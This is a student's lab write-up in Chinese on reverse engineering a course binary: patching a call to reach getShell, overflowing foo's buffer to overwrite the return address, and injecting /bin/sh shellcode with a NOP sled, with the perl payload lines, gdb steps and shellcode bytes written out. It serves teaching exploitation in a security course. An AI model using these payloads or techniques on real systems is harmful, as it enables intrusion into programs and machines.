Exp1 PC平台逆向破解 20164309 欧阳彧骁
?
?
?
一、實踐目標
本次實踐的對象是一個名為pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然后學習如何注入運行任何Shellcode。
?
三個實踐內容如下:
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
注入一個自己制作的shellcode并運行這段shellcode。
?
這幾種思路,基本代表現實情況中的攻擊目標:
運行原本不可訪問的代碼片段
強行修改程序執行流
以及注入運行任意代碼。
?
二、基礎知識:
1.通過結合計算機組成原理以及查閱相關資料,我們知道了NOP, JNE, JE, JMP, CMP等常用匯編指令的機器碼:
NOP:一個空指令,什么都不做,讓cpu等待一段時間,并且該指令會自動對齊尋址。機器碼為0x90;
JNE:一個條件轉移指令,當零標志z=0時跳轉至標號,z=1時順序執行下一條指令。機器碼為0x75;
JE:一個條件轉移指令,當零標志z=1時跳轉至標號,z=0時順序執行下一條指令。機器碼為0x74;
JMP:無條件轉移指令。段內直接近轉移Jmp near,機器碼為0xe9; 段內間接轉移Jmp word,機器碼為0xff;段內直接短轉Jmp short,機器碼為0xeb; 段間直接(遠)轉移Jmp far,機器碼為0xea;
CMP:比較指令,執行減法操作但不保存運算結果。
?
2.掌握反匯編與十六進制編程器
通過查閱資料我們可以知道:
objdump反匯編命令:
objdump -f test???? //顯示test的文件頭信息
objdump -d test??? //反匯編test中的需要執行指令的那些section
objdump -D test??? //與-d類似,但反匯編test中的所有section
objdump -h test??? //顯示test的Section Header信息
objdump -x test??? //顯示test的全部Header信息
objdump -s test??? //除了顯示test的全部Header信息,還顯示他們對應的十六進制文件代碼???
?
?
xxd命令:
用vi命令打開一個文件,在vi命令模式下輸入
:%!xxd??????????? //回車后,該文件會以十六進制形式顯示
:%!xxd -r???????? //參數-r是指將當前的十六進制轉換為二進制
?
三、實踐內容
1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
設置共享文件夾將pwn1文件導入主目錄后并修改文件名為20164309,輸入:
objdump -d 20164309 | more得到反匯編代碼:
繼續下拉,找到getshell、foo與main函數:
?
由主函數我們可以看出main函數調用foo,相應的機器指令為“e8 d7ffffff”,其中“e8”為跳轉的意思。本來正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行“EIP + d7ffffff”這個位置的指令。“d7ffffff”是補碼,表示-41,即為目標地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491這個值,即為跳轉的目標地址。那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。用Windows計算器,直接47d-4ba就能得到補碼,是c3ffffff。注意計算時是小端模式低字節優先。
?修改可執行文件,將call指令的目標地址由d7ffffff變為c3ffffff。
?
進入到文件的vi模式,輸入:
Vim 20164309?
按esc鍵退出,輸入:
?
:%!xxd以查看其十六進制
?
輸入:
/e8 d7找到目標代碼 在000004b0
?
?
記錄目標位置在000004b0這行,找到目標,將光標移至d,按r鍵后修改為c,同理修改7為3:
?
輸入:
:%!xxd -r轉換16進制為原格式
?
輸入:
:wq存盤退出
?
對文件再次進行反匯編,找到主函數中之前調用foo的位置,發現call指令已經改為調用getshell了
?
運行后發現可以調用shell
?
2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數
進行反匯編
?
我們可以利用foo函數中的Buffer overflow漏洞,造成緩沖區溢出,來覆蓋返回地址為主函數中的80484ba,從而調用getshell函數。
?
?2.1確認輸入字符串哪幾個字符會覆蓋到返回地址
輸入:
gdb 20164309-2再輸入r指令執行程序,我們可以嘗試著輸入一段字符串1111111122222222333333334444444412345678共40個字符
?
再輸入info r查看寄存器信息發現正是之前0x34333231,即為4321的ASCII碼,根據老師上課所講的知識可以知道Linux地址是由高到低的,說明覆蓋成功,之后的操作將其修改為getshell地址就能返回運行到getshell了。
由于是第32為之后的覆蓋成功,能由此可見緩存區32個字節。
?
2.2構造輸入字符串
由于小端模式我們將地址倒過來輸入即可:(原為0804847d改為7d840408)
11111111222222223333333344444444\x7d\x84\x04\x08
再之后加一個\x0a表示回車就構造完成了。
輸入:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
?
將input的輸入,通過管道符“|”,作為20164309-2的輸入,即可攻擊成功
(cat input; cat) | ./20164309-2?
?3.注入一個自己制作的shellcode并運行這段shellcode
?
?3.1準備一段shellcode
使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
這段機器指令,獲取一個交互式的shell
?
3.2下載execstack,使用期關閉地址隨機化,減少實驗難度(0為關閉,2為開啟)
?
?3.3構造注入需要的payload
采用retaddr+nop+shellcode結構進行構造(nop一為是了填充,二是作為“著陸區/滑行區”。我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode?
\x4\x3\x2\x1是將來要存放覆蓋RET地址的位置。
?3.4進行攻擊
輸入之前構造的代碼
?
同時開啟另一個終端來調試進程
輸入:
ps -ef | grep 20164309-3?
啟動gdb調試這個進程
attach 35781?
?
通過設置斷點,來查看注入buf的內存地址
通過disassemble foo進行反匯編以設置斷點
輸入
break *0x080484ae?
再輸入
info r esp對esp語句進行查找
?
我們可以看到0xffffd30內容被覆蓋為了1234,我們需要將之后的90909090覆蓋,則往后移四位地址,則目標地址為:0xffffd310
由此我們可以重新構造攻擊代碼:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode攻擊成功!
?
?
?四、實驗收獲與感想
1.實驗收獲
這是我第一次進行網絡對抗技術的實驗,深感自己的基本功不夠扎實,課后花了加倍的時間才把老師上課早已講清楚的步驟和知識點弄懂。
在進行“注入一個自己制作的shellcode并運行這段shellcode”這項實驗時,我因為弄不清楚原理照著實驗指導照貓畫虎導致了多次失敗,幸虧在實踐中搞明白了一開始的那一段攻擊代碼是中的起始的1234是存放覆蓋ret地址的位置,在讓我明白了第一次構造是嘗試,第二次才是動真格的。
總之,此次實驗不僅讓我感受到Linux基本功還不夠扎實,更表現了我動手能力的不足,希望在今后的九次實驗中,我能夠收獲知識與實踐能力。
?
2.什么是漏洞?漏洞有什么危害?
漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,也就是我們所說的“bug”。就像本次實驗中利用foo函數的Bof漏洞,便是程序代碼存在一定的漏洞。
這些漏洞大多都是無意中被創造的,由于設計時不夠嚴謹導致一些問題,甚至有些漏洞被不懷好意之人所以利用,它在我們的日常生活中時常有體現:木馬蠕蟲在網絡上大行其道,破壞人們的信息、財產安全,甚至給企業政府造成難以挽回的損失。
?
轉載于:https://www.cnblogs.com/20164309-kx/p/10534473.html
總結
以上是生活随笔為你收集整理的Exp1 PC平台逆向破解 20164309 欧阳彧骁的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Notes9】Linux系统启动过程,
- 下一篇: Exp2 后门原理与实践 2016430